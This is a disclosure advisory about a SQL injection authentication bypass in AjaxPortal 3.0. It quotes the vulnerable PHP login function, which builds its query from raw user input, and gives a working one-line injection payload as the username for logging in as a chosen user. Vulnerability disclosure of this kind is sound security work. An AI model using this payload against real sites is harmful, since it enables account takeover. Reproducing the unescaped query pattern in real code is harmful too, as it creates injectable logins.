[KAPDA::#46] - AjaxPortal Authentication Bypass

KAPDA New advisory

Vendor: http://myiosoft.com
Vulnerable: AjaxPortal v. 3.0
Bug: Sql Injection (Authentication Bypass)
Exploitation: Remote with browser

Description:

AjaxPortal is based on Sajax technology - an open
source tool to make programming websites using the
Ajax framework known as XMLHTTPRequest or remote
scripting as easy as possible.customizable full
featured content management tool written in PHP,
using
javascript and Mysql.

Vulnerability:

Input Validation error in loginADP Function that
result in Login bypass when Magic quotes is
disabled.

Code Snippets:
/ajaxp.php Lines: #568-593

function loginADP($username,$password,$remember){
$badlogin = 0;
if(isLoggedIn()){ return "Sucsess!"; }
$query = "SELECT * FROM
".PREFIX."ajaxp_users
WHERE username='$username' AND
password=PASSWORD('$password') AND active=1
LIMIT
1";
$result = mysql_query($query);
if(mysql_num_rows($result) > 0){
$userinfo = mysql_fetch_array($result);
$_SESSION['sess_username'] =
$userinfo['username'];
$_SESSION['sess_firstname'] =
$userinfo['firstname'];
$_SESSION['sess_lastname'] =
$userinfo['lastname'];
$_SESSION['sess_userid'] =
$userinfo['user_id'];
$_SESSION['sess_accesslevel'] =
$userinfo['accesslevel'];
$_SESSION['sess_usermd5'] =
$userinfo['md5'];
$_SESSION['sess_theme_id'] =
$userinfo['theme_id'];
$_SESSION['sess_last_ip'] =
$_SERVER['REMOTE_ADDR'];
$_SESSION['sess_logged_in'] = 1;
$query = "UPDATE ".PREFIX."ajaxp_users
SET
last_login=NOW(),
last_ip=\"".$_SERVER['REMOTE_ADDR']."\" WHERE
user_id=".$userinfo['user_id']."";
mysql_query($query);
if($remember==1)
{$_SESSION['remember']=$userinfo['user_id'];}
else {
unset($_SESSION['remember']); }
$badlogin = 0;
return "Sucsess!";
} else {
$badlogin = 1;
}
POC:

Username:a' or user_id=22/*
Password:abcdef

Solution:

No Response from vendor.

Original Advisories:

http://www.kapda.ir/advisory-355.html

Credit :

Discovered & released by trueend5 (trueend5 kapda
ir)
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]

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